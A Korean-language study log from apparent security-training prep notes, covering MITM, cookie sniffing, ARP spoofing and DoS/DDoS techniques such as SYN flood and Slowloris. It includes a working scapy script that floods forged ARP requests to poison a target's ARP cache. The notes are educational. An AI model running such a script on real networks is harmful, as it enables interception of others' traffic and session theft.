bob 11th 지원대상자가 이수해야 할 사전 교육에 대한 학습 일지입니다.
MITM attack
- Man In The Middle Attack. 중간자 공격
- 네트워크 통신 내용을 도청하거나 조작하는 공격 기법
- Sniffing(킁킁거리다. 냄새를 맡다)
- Spoofing(오염시키다)
Cookie Sniffing
Cookie
- 하이퍼 텍스트 기록 값으로, 인터넷 사용자가 어떠한 웹사이트를 방문할 경우 그 사이트가 사용하고 있는 서버를 통해 인터넷 사용자의 컴퓨터에 설치되는 작은 기록 정보 파일을 일컫는다.
- 오늘날 많은 서버 및 웹사이트들이 브라우저의 신속성을 위해 사용한다.
- 행동추적 또는 쿠키값을 훔쳐서 다른 사용자의 계정 권한을 획득할 수 있다.
Cookie | Session | |
---|---|---|
저장 위치 | 클라이언트에 저장 | 서버에 저장 |
라이프 사이클 | 보통 만료기간 동안 유지 | 만료기간 존재.브라우저 종료 시 삭제 |
장점 | 서버 성능 저하 X | 높은 보안성 |
단점 | 낮은 보안성 | 서버 부담 |
ARP Spoofing
ARP table 조작
- ARP Request
- 출발지 IP, MAC, 도착지 IP 정보를 이용해 목적지의 MAC 정보를 요청
- 라우터의 IP와 공격자의 MAC을 출발지로 설정하고 타겟에게 요청할 경우, 타켓의 APR table에서 라우터 정보 부분을 공격자의 MAC으로 저장함.
Opcode | ARP Message Type |
---|---|
1 | ARP Request |
2 | ARP Reply |
3 | RARP Request |
4 | RARP Reply |
5 | DRARP Request |
6 | DRARP Reply |
7 | DRARP Error |
8 | InARP Request |
9 | InARP Reply |
from scapy.all import *
from subprocess import call
import argparse
import time
op = 1 #arp request op = 1
arg_parser = argparse.ArgumentParser(description='python3 arps.py [target ip] [target mac] [router ip]')
arg_parser.add_argument('tip', help="input target ip address")
arg_parser.add_argument('tmac', help="input target mac address")
arg_parser.add_argument('rip', help="input router ip address")
arg = arg_parser.parse_args()
target_ip = arg.tip
target_mac = arg.tmac
router_ip = arg.rip
arp = ARP(op=op, psrc=router_ip, pdst=target_ip, hwdst=target_mac)
while 1:
send(arp)
time.sleep(2)
DoS/DDos
DoS
- Denial of Service, 서비스 거부 공격
- 시스템을 악의적으로 공격해 원래 의도된 용도로 사용하지 못하게 한다. 보통 인터넷 사이트 또는 서비스의 기능을 일시적 또는 영구적으로 방해 및 중단을 초래한다.
특징
- 시스템 자원 고갈 공격
- CPU, 메모리, 디스크 자원 고갈
- 네트워크 자원 고갈 공격
- 무의미한 값으로 네트워크 대역폭 고갈
- 공격자를 찾기가 어려운 편
DDoS
- Distributed Denail of Serivce, 분산형 서비스 거부 공격
- 여러 대의 공격자(피해자 컴퓨터)를 분산적으로 배치해 동시에 서비스 거부 공격을 한다.
ICMP ping Flooding
- 가장 기본적인 Layer3 DoS 공격의 형태.
- Echo request와 Echo response 모두 트래픽을 키울 수 있음.
- 공격 예시의 패킷 정보를 볼 수 있음 https://kb.mazebolt.com/knowledgebase/icmp-ping-flood/
TCP SYN Flooding
- 방화벽과 로드밸런서 등 상태 분석형 요소나 백엔드 서버로의 연결 자원을 소모하게 하는 방법.
- 공격 패킷의 source ip 를 스푸핑하면서 대상 서비스에 아주 많은 TCP SYN 요청을 전송.
- TCP backlog가 포화되어 더이상 새로운 연결을 받을 수 없게 된다.
https://kb.mazebolt.com/knowledgebase/syn-flood/
Slowloris Attack
- Robert Hansen이 개발한 서비스 거부 공격 도구
- 가능한 많은 연결을 열어두고 가능한 오랜 기간 유지시키려고 함
- 주기적으로 후속 HTTP 헤더를 보내 요청하지만, 완료시키지 않음
- 최대 동시 연결 풀을 포화시키면 새로운 연결 시도가 거부됨
https://kb.mazebolt.com/knowledgebase/slowloris-attack/
- HTTP의 연결은 두 개의 CRLF(0d 0a)가 존재해야하지만 해당 공격은 한 개만 작성하여 아직 연결이 끝나지 않았다는 식의 통신을 지속. 때문에 Wireshark에서도 해당 패킷을 HTTP가 아닌 TCP 패킷으로 인식함
※ CRLF: 줄바꿈(newline)을 입력하는 문자를 칭하는 표현. /r/n